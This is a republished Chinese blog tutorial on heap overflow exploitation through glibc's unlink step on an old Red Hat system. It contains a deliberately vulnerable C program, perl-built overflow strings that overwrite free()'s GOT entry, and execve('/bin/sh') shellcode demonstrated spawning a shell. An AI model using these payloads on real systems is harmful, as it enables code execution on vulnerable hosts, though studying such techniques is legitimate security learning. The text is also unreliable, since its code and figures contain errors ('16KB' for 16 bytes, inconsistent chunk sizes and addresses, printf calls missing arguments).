堆溢出 Heap Corruption


http://chinamars.me/blog/2014/01/heap-corruption-堆溢出/

申明:本文並非原創,參考了許多大牛的文章,因為太亂了所以沒有標明出處,如有侵犯版權問題,請第一時間聯系我。

No copyright infringement intended,If so,please contact me immediately.

0x01 背景知識

堆是程序運行時動態分配給程序的內存空間,堆內存空間發生緩沖區溢出很常見。堆溢出需要不同的手段,不像棧溢出那么簡單。分配給一個函數的內存會持續保持分配直到完全被釋放為止,所以被溢出的內存使用時才會被發現。堆的結構如下圖。

0x02 使用堆

堆內存一般通過malloc()分配,malloc 只管分配內存,並不能對所得的內存進行初始化,所以得到的一片新內存中,其值將是隨機的。通過free()釋放。

PS:在不同的系統之間,對堆管理的實現沒有一個統一標准,甚至在UNIX系統中也使用了幾個不同的標准。

下面的例子演示了簡單的堆溢出。

#include <stdio.h>
int main(int argc,char* argv){
    char *A= malloc(10);   
    char *B= malloc(8);  
    char *C= malloc(4);  
    strcpy(B,"BBBBBBBB"); 
    strcpy(C,"CCCC");   
    strcpy(A,argv[1]);
    printf("A(%p) is %s\n",A);
    printf("B(%p) is %s\n",B);
    printf("C(%p) is %s\n",C);
    return 0;   
}

運行結果如圖。

從0x8049778開始內存的值被改寫。因為要內存對齊,所以每個變量分配了16KB。

不像棧溢出,程序不會出現Segmentation fault,成功改寫了其他變量的地址內容,下圖是內存中的情況。

0x03 堆和數據塊的結構

在malloc中,被分配給程序的內存稱作數據塊(chunk),一個數據塊包含了元數據(metadata)和程序返回地址。數據庫的定義如下:

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
 
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
 
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

假如我們開辟三塊內存空間,malloc(256), malloc(256), and malloc(256),堆上的內存分布如下:

Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 512 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 1024 bytes of memory return by malloc
-----------------------------------------
Meta-data of the top chunk

"top chunk"是其他可用空間,也就是說每次申請空間時,總是從"top chunk"中分出, 一部分是申請的數據塊,另一部分是新的"top chunk"。當"top chunk"不夠時程序會要求操作系統去擴展它。http://man7.org/linux/man-pages/man2/brk.2.html

只有prev_size 和 size fields被已分配的數據塊所使用,返回給程序的緩沖區從fd開始。也就是說一個已分配的數據塊始終有8字節的元數據。一般情況下32位機器都是8位內存對齊(http://stackoverflow.com/questions/5061392/aligned-memory-management),數據塊大小必須是8及其倍數,所以size的最后3位就用不到了,其中最后一位Least significant bit(https://en.wikipedia.org/wiki/Least_significant_bit)如果設為1,意味着前一個數據塊(previous chunk)被使用。


如何查看一個數據塊是否被使用?只需要把當前數據塊的指針加上它的size,就可以到下一個數據塊中,檢查下一個數據塊的size的最后一位即可。

一個被釋放的數據塊使用fd 和 bk 字段,fd指向前一個可用的數據塊,bk指向后一個(所以空閑數據塊被保存在一個列表中)。當程序使用malloc時,它會優先搜索和它大小一樣的數據塊,如果找不到再向"top chunk"申請。當調用free時,它會檢查當前數據塊的前一個數據塊是否已被釋放。在前一個數據塊沒有使用時,兩個數據塊會合並。但是,這樣會增加數據塊的大小,使它被放到另一個空閑數據塊列表中(移出空閑數據塊,再加上合並后的數據塊)。代碼實現如下:

/* Take a chunk off a bin list */
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
	FD = P->fd;
	BK = P->bk;
	FD->bk = BK;
	BK->fd = FD;
}

P代表正在被移除列表的數據塊。參考:http://www.math.ucla.edu/~wittman/10a.1.10w/ccc/ch16/ch16.html  跟雙向鏈表remove時一個思想。(或者他就是一個雙向鏈表?)如果給定兩個合法的地址A,B,那么free() 將會做 *(A+12) = B 和 *(B+8) = A。

我們可以通過改寫元數據,實現在任意位置改寫任意數據。比如,我們可以改寫destructor函數的指針,指向我們的代碼。

0x04 溢出

請看下面的代碼:

#include <stdio.h>

#include <string.h>
#include <stdlib.h>

int n = 5;

int main(int argc, char **argv) {
        char *p, *q;

        p = malloc(1024);
        q = malloc(1024);
        if (argc >= 2)
                strcpy(p, argv[1]);
        free(q);
        printf("n = 0x%08x\n", n);
        free(p);
        return 0;
}
[root@localhost shell]#nm ./bug1 | grep -w n                   //查看變量n的地址

08040505 D n

[root@localhost shell]#./heap4 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xf9\x04\x04\x08" . "\x88\xff\xff\xbf"'`

n = 0xbfffff88

Segmentation fault

  

我們成功的將n的地址改寫為0xbfffff80。前1024個A填充p,后面兩個0xfffffffc重寫了q的pre_size和size,這樣當free執行時,前一個數據塊地址變成了q+4,指向自己填充的字符串,這樣fwd->bk = bck; bck->fd = fwd; 變成了*(A+12) = B; *(B+8) = A; 其中A = 0x080404f9,B = 0xbfffff88 。

我們最終目標是執行任意代碼而不是改寫n的地址,通過改寫free()的plt 入口(http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=%2Fcom.ibm.cics.ts31.doc%2Fdfha4%2Ftopics%2Fdfha4_macro_plt_overview.htm),來避免Segmentation fault。

[root@localhost shell]#objdump -R heapbug | grep free
0804f905 R_386_JUMP_SLOT free
[root@localhost shell]#gdb ./heapbug ... gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"'
Program received signal SIGSEGV, Segmentation fault.
0xbfffff72 in ?? ()
(gdb)

這樣,當free()被調用時,調到了我們指定的地址0xbfffff72。

因為*(A+12) = B; *(B+8) = A; 我們選擇A+12為free()的plt 入口, B為shellcode的在棧上的地址。所以需要在shellcode前填充12字節(我們填充12個nop)。

[root@localhost shell]#SHELLCODE=`perl -e 'print "\x90"x12 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` 
[root@localhost shell]#export SHELLCODE
[root@localhost shell]#./getenv SHELLCODE //getenv 獲取環境變量地址
0xbfffef00
[root@localhost shell]#./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x00\xef\xff\xbf"'`
sh-2.05$

成功執行了自己的payload。

PS:測試環境為Red hat 7.2 , 需要注意的是僅支持libc低於2.3.3。

<!-未完待續-->


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM